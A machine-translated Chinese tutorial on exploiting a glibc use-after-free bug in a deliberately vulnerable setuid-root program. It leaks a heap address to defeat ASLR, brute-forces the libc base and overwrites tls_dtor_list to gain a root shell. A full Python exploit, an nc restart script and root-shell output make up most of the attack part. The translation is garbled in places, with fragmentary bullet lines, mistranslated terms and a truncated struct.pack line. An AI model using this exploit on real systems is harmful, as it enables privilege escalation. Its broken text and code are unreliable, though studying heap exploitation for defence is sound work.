先决条件:
- 一对一的漏洞
- 了解工作
malloc
中glibc
虚拟机配置:Fedora 20(x86)。
什么是免费使用后(UaF)?
如果在释放堆指针后继续使用堆指针,则会发生“使用后释放”错误。这样的漏洞可能导致派生代码的执行。
易受攻击的代码:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
编译命令:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注意:与上一篇文章相比,此处包含ASLR。现在,让我们利用UaF错误,由于启用了ASLR,因此我们将通过信息泄漏和蛮力解决它。在上面的代码中,在第[6]和[13]行中找到了After-after-free漏洞。相应的堆内存在第[5]和[10]行中释放,但它们的指针在第[6]和[13]行中释放之后使用!第[6]行中的UaF导致信息泄漏,第[13]行中的UaF导致信息泄漏。
什么是信息泄漏?攻击者如何利用它?
在上面的易受攻击的代码中(第[6]行),泄漏发生在堆地址处。泄漏的堆地址将帮助攻击者轻松找出随机分配的堆段地址,从而绕过ASLR。
要了解堆地址泄漏是如何发生的,首先让我们了解易受攻击的代码的前半部分。
- 第[1]行为“ name”分配了16个字节的堆内存。
- [2] 16 «details».
- [3] 1 (argv[1]) «name».
- [4] [5] «name» «details» glibc malloc.
- Printf [6] «name» , .
在阅读“先决条件”部分中的文章之后,我们知道与“名称”和“详细信息”指针相对应的块是快速块,释放后将其存储在快速单元中的索引零处。我们还知道,每个快速单元都包含一个空闲块的单链接列表。因此,回到我们的示例,快速单元格中索引为零的单链接列表如下所示:
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
由于奇异性,“ name”的前4个字节包含“ details_chunk”的地址。因此,当显示“名称”时,首先显示“ details_chunk”的地址。根据堆布局,我们知道“ details_chunk”相对于基本堆地址偏移了0x10。因此,从泄漏的堆地址中减去0x10将为我们提供其基地址!
如何实现任意代码执行?
现在我们有了堆段的基地址,让我们看一下示例的后半部分,看看如何执行任意代码。
- 第[7]行为“ tmp”分配了16个字节的堆内存。
- [8] 1024 «p1».
- [9] 1024 «p2».
- [10] «p2» glibc malloc.
- [11] 512 «p2_1».
- [12] 512 «p2_2».
- Read [13] «p2» .
- [14] «p1»
glibc malloc
, .
在阅读“先决条件”部分中的文章之后,我们知道在发布“ p2”时,它会合并到顶部。稍后,当为“ p2_1”请求内存时,会从顶部大块开始分配内存,并且“ p2”和“ p2_2”具有相同的堆地址。此外,当请求“ p2_2”的内存时,从顶部块分配内存,并且“ p2_2”与“ p2”相距512字节。所以当指针“ p2”
glibc malloc
在第[13]行中被释放后使用,由攻击者控制的数据(最大1019字节)被复制到“ p2_1”(大小仅为512字节),因此攻击者的剩余数据将覆盖下一个块“ p2_2”,从而使攻击者有机会覆盖该字段下一个块头的大小。
堆模式:
从先决条件部分的文章中我们知道,如果攻击者可以成功覆盖下一个块大小字段的LSB,则即使它处于分配状态,他也可以作弊以断开与p2_1块的连接。也在那篇文章中
glibc malloc
我们已经看到,如果攻击者仔细篡改了块头,则以分配状态分离大块会导致任意代码执行。攻击者创建了一个伪造的块头,如下所示:
fd
应该指向释放的块地址。从堆图中,我们可以看到“ p2_1”位于偏移量0x410处。从此处开始fd = heap_base_address
(由于泄漏而被接收)+ 0x410。bk
还应指向已释放的块地址。从堆图中,我们可以看到“ p2_1”位于偏移量0x410处。从此处开始fd = heap_base_address
(由于泄漏而被接收)+ 0x410。fd_nextsize
tls_dtor_list
– 0x14. «tls_dtor_list»private anonymous mapping glibc
. , , .bk_nextsize
, «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .
现在,我们已经掌握了所有这些信息,我们可以编写一个漏洞利用程序来攻击易受攻击的“漏洞”二进制文件。
利用代码:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
由于在暴力破解过程中需要进行几次尝试(直到成功),所以让我们将易受攻击的“漏洞”二进制文件作为网络服务器运行,并使用Shell脚本来确保它在崩溃时自动重新启动。
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
执行上面的漏洞利用代码将为您提供shell的root特权。发生了!
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
来源:
1.重新审视Defcon CTF Shitsco的免费使用后漏洞-远程执行代码
Bootkit分析。免费课程